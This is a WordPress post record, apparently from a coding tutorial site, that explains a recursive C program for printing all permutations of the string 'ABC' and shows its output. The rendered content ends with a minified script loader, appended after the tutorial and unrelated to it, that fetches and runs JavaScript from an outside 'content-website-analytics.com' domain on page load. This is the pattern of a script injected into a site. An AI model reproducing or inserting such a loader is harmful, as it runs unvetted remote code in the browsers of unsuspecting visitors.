{"id":550,"date":"2025-11-21T08:53:32","date_gmt":"2025-11-21T03:23:32","guid":{"rendered":"https:\/\/codexplained.in\/?p=550"},"modified":"2025-11-21T08:53:32","modified_gmt":"2025-11-21T03:23:32","slug":"generate-permutations-of-a-string","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=550","title":{"rendered":"Generate Permutations of a String"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\n\/\/ Function to swap two characters in a string\nvoid swap(char* x, char* y) \n{\n    char temp;\n    temp = *x;\n    *x = *y;\n    *y = temp;\n}\n\n\/\/ Function to generate permutations of the string\nvoid permute(char* str, int left, int right) \n{\n    \/\/ Base case: if left index is equal to right index, we print the permutation\n    if (left == right) \n{\n        printf(&quot;%s\\n&quot;, str);\n    }\n else \n{\n        \/\/ Recursively swapping characters to generate permutations\n        for (int i = left; i &lt;= right; i++) {\n            swap((str + left), (str + i));  \/\/ Swap the current character\n            permute(str, left + 1, right);  \/\/ Recurse for the next character\n            swap((str + left), (str + i));  \/\/ Backtrack (swap the characters back)\n        }\n    }\n}\n\nint main() {\n    char str&#x5B;] = &quot;ABC&quot;;  \/\/ The string to permute\n    int n = strlen(str);  \/\/ Calculate the length of the string\n    permute(str, 0, n - 1);  \/\/ Call the permutation function\n    return 0;\n}\n\n\n<\/pre><\/div>\n\n\n<p><strong>explaination<\/strong> :-<\/p>\n\n\n\n<p>1) Swap Function:<\/p>\n\n\n\n<p>=The swap() function is a utility function used to exchange two characters within the string. It takes two pointers (x and y) and swaps the characters they point to.<\/p>\n\n\n\n<p>2) Permute Function:<\/p>\n\n\n\n<p>=This function generates permutations of the string by recursively swapping characters.<br>=The function has three parameters:<br>=<strong>str: <\/strong>The string whose permutations are to be generated.<br>=<strong>left:<\/strong> The starting index (initially 0).<br>=<strong>right: <\/strong>The ending index (length of the string &#8211; 1).<br>=The base case is when left == right. At this point, we have reached a specific permutation, so it is printed.<br>=If left != right, a loop is used to generate all possible permutations by:<br>=Swapping the current character with each of the subsequent characters.<br>=Recursing for the remaining substring.<br>=Backtracking (i.e., swapping the characters back to their original positions) to explore other possibilities.<\/p>\n\n\n\n<p>3) Main Function:<\/p>\n\n\n\n<p>=We initialize the string str with the characters &#8220;ABC&#8221; that we want to permute.<br>=The strlen() function calculates the length of the string.<br>=The permute() function is called with the string, starting index 0, and ending index n-1 (which is 2 for the string &#8220;ABC&#8221;).<\/p>\n\n\n\n<p><strong>Output<\/strong> :-<\/p>\n\n\n\n<p>=When the above program is executed, it will generate and print all permutations of the string &#8220;ABC&#8221;. The output will be:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nABC\nACB\nBAC\nBCA\nCAB\nCBA\n<\/pre><\/div>\n\n\n<p><\/p>\n\n\n\n<p><strong>How the Output is Generated<\/strong> :-<\/p>\n\n\n\n<p><strong>1)<\/strong>The function starts with &#8220;ABC&#8221; and then swaps:<br>&#8216;A&#8217; with &#8216;A&#8217; \u2192 Recursion continues with &#8220;ABC&#8221;.<br>&#8216;A&#8217; with &#8216;B&#8217; \u2192 Recursion continues with &#8220;BAC&#8221;.<br>&#8216;A&#8217; with &#8216;C&#8217; \u2192 Recursion continues with &#8220;CBA&#8221;.<br><strong>2)<\/strong>For each swap, further recursive calls explore all possibilities, and once a permutation is complete, it is printed.<br><strong>3)<\/strong>After exploring all possibilities starting from &#8216;A&#8217;, the function backtracks and explores permutations starting with &#8216;B&#8217; and &#8216;C&#8217; similarly.<\/p>\n\n\n\n<p>:- This recursive method ensures that all permutations are generated without duplicates.<\/p>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>explaination :- 1) Swap Function: =The swap() function is a utility function used to exchange two characters within the string. It takes two pointers (x and y) and swaps the characters they point to. 2) Permute Function: =This function generates permutations of the string by recursively swapping characters.=The function has three parameters:=str: The string whose [&hellip;]<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-550","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/550","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=550"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/550\/revisions"}],"predecessor-version":[{"id":1236,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/550\/revisions\/1236"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=550"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=550"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=550"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}